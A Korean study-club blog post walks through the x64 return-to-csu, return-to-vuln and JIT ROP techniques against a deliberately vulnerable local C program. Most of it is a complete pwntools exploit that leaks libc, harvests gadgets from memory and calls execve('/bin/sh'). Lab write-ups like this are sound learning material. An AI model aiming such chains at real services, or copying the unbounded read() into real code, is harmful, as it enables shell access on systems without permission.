혜랑's STORY

[Lazenca] Return-to-csu(feat.Return-to-vuln, Just-In-Time Code Reuse) - x64 본문

2021 SISS 21기 활동/여름방학 System

[Lazenca] Return-to-csu(feat.Return-to-vuln, Just-In-Time Code Reuse) - x64

hyerang0125 2021. 7. 23. 22:25
return-to-vuln이란 ROP 코드를 실행한 후에 취약성이 있는 코드로 다시 이동하는 것을 말한다.
return-to-dl-resolve 기법에서 스택의 흐름을 변경하기 위해 "leave; ret;" gadget을 이용할 수 있다.
그러나 clang으로 컴파일된 바이너리 파일에서는 "leave; ret;"을 찾을 수 없다.

GCC vs Clang


다음과 같이 GCC로 컴파일된 파일에서 "leave; ret;" gadget을 찾을 수 있다.

그러나 Clang으로 컴파일된 파일에서는 찾을 수 없다.

다음과 같이 Clang으로 컴파일된 바이너리는 스택(엔트리 포인트)을 정리할 때 "leave" 명령어가 사용되지 않는다.

objdump -d rop

이러한 문제를 해결하기 위해 Return-to-vuln 기법을 사용할 수 있다.

위 flow로 알 수 있듯이 ROP 코드 실행 후 취약성이 있는 함수를 다시 호출하여 공격하는 방식이다.

 

Proof of concept


//clang -fno-stack-protector -Wl,-z,relro,-z,now -o rop rop.c
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <dlfcn.h>
  
void vuln(){
    char buf[50];
    read(0, buf, 512);
}
  
int main(){
    write(1,"Hello ROP\n",10);
    vuln();
    return 0;
}

Break Point

  • vuln+0 : vuln 함수 코드 첫부분
  • vuln+21 : read() 함수 호출 전

즉, 72개 이상의 문자를 입력함으로써 Return address 영역을 덮어 쓸 수 있다.

 

Exploit method


  • ROP 기법을 이용한 Exploit의 순서는 다음과 같다.
1번째 ROP Chain
    a. write() 함수를 이용하여 __libc_start_main@GOT 영역에 저장된 libc 주소를 추출합니다.
    b. vuln() 함수의 시작 주소로 이동합니다.
2번째 ROP Chain
    a. JIT ROP - write() 함수를 이용하여 메모리에 저장된 libc 파일을 출력합니다.
        - 출력 값에서 필요한 ROP Gadget을 찾습니다.
    b. read() 함수를 이용하여 .bss 영역에 값을 저장합니다.
        -execve() 함수의 첫번째 인자 값으로 전달할 "/bin/sh"을 .bss 영역에 저장합니다.
    c. vuln() 함수의 시작 주소로 이동합니다.
3번째 ROP Chain
    a. execve() 시스템 함수를 이용해 "/bin/sh"를 실행 합니다.
  • 이를 코드로 표현하면 다음과 같다.
write(1,__libc_start_main,8)
JMP vuln()
write(1,Address of leak libc,0x190000)
read(0, base_stage ,8)
JMP vuln()
execve("/bin/sh", NULL, NULL)
  • 공격을 위해 알아야 할 정보는 다음과 같다.
  • .bss , libc 영역의 주소
  • return-to-csu gadget 주소
  • read, write 함수의 got 주소
  • vuln()함수의 시작 주소

 

Find the address of the .bss area

readelf -S ./rop

 

Find th address of the return-to-csu gadget

  • Gadget 1 : 0x40062a - pop rbx
  • Gadget 2 : 0x4005f0 - ??
  • Gadget 3 : 0x400610 - mov rdx, r13
  • vuln() : 0x400560

 

Exploit code

from pwn import *
from struct import *
  
#context.log_level = 'debug'
  
binary = ELF('./rop')
 
execve = 59
 
addr_bss = 0x601050
addr_got_read = binary.got['read']
addr_got_write = binary.got['write']
addr_got_start = binary.got['__libc_start_main']
  
addr_csu_init1 = 0x40062a
addr_csu_init2 = 0x4005f0
addr_csu_init3 = 0x400610
addr_main = 0x400560
  
stacksize = 0x400
base_stage = addr_bss + stacksize
  
p = process(binary.path)
p.recvn(10)
  
# stage 1: read address of __libc_start_main()
buf = 'A' * 72
#Stage 1 - write(1,addr_got_start,8)
buf += p64(addr_csu_init1)
buf += p64(0)
buf += p64(1)
buf += p64(addr_got_write)
buf += p64(8)
buf += p64(addr_got_start)
buf += p64(1)
#Jump to main()
buf += p64(addr_csu_init3)
buf += p64(0)
buf += p64(0)
buf += p64(0)
buf += p64(0)
buf += p64(0)
buf += p64(0)
buf += p64(0)
buf += p64(addr_main)
 
p.send(buf)
leak = p.recv()
libc_addr = u64(leak[:8])
log.info("__libc_start_main : " + hex(libc_addr))
  
libc_bin = ''
libc_readsize = 0x190000
  
buf = 'A' * 72
#Stage 2 - write(1, Address of leak libc, 0x190000)
buf += p64(addr_csu_init1)
buf += p64(0)
buf += p64(1)
buf += p64(addr_got_write)
buf += p64(libc_readsize)
buf += p64(libc_addr)
buf += p64(1)
  
#Stage 2 - read(0, base_stage ,8)
buf += p64(addr_csu_init3)
buf += p64(0)
buf += p64(0)
buf += p64(1)
buf += p64(addr_got_read)
buf += p64(8)
buf += p64(base_stage)
buf += p64(0)
 
#Jump to main()
buf += p64(addr_csu_init3)
buf += p64(0)
buf += p64(0)
buf += p64(0)
buf += p64(0)
buf += p64(0)
buf += p64(0)
buf += p64(0)
buf += p64(addr_main)
 
p.send(buf)
 
with log.progress('Reading libc area from memory...') as l:
    for i in range(0,libc_readsize/4096):
        libc_bin += p.recv(4096)
        l.status(hex(len(libc_bin)))
 
offs_pop_rax = libc_bin.index('\x58\xc3') # pop rax; ret
offs_pop_rdi = libc_bin.index('\x5f\xc3') # pop rdi; ret
offs_pop_rsi = libc_bin.index('\x5e\xc3') # pop rsi; ret
offs_pop_rdx = libc_bin.index('\x5a\xc3') # pop rdx; ret
offs_syscall = libc_bin.index('\x0f\x05') # syscall
log.info("libc addr : " + hex(libc_addr))
log.info("Gadget : pop rax; ret > " + hex(libc_addr + offs_pop_rax))
log.info("Gadget : pop rdi; ret > " + hex(libc_addr + offs_pop_rdi))
log.info("Gadget : pop rsi; ret > " + hex(libc_addr + offs_pop_rsi))
log.info("Gadget : pop rdx; ret > " + hex(libc_addr + offs_pop_rdx))
log.info("Gadget : syscall > " + hex(libc_addr + offs_syscall))
 
buf = "/bin/sh\x00"
 
p.send(buf)
 
##Stage 3 - execve("/bin/sh", NULL, NULL)
buf =  'A' * 72
buf += p64(libc_addr + offs_pop_rax)
buf += p64(execve)
buf += p64(libc_addr + offs_pop_rdi)
buf += p64(base_stage)
buf += p64(libc_addr + offs_pop_rsi)
buf += p64(0)
buf += p64(libc_addr + offs_pop_rdx)
buf += p64(0)
buf += p64(libc_addr + offs_syscall)
 
p.send(buf)
p.interactive()

쉘이 잘 실행된다!

'2021 SISS 21기 활동 > 여름방학 System' 카테고리의 다른 글

[HackCTF] RTC 풀이  (0) 2021.07.31
baby1 풀이  (0) 2021.07.24
[Lazenca] Return-to-csu (feat.JIT ROP) - x64  (0) 2021.07.23
[HAckCTF] sysrop 풀이  (0) 2021.07.17
[HackCTF] look at me 풀이  (0) 2021.07.15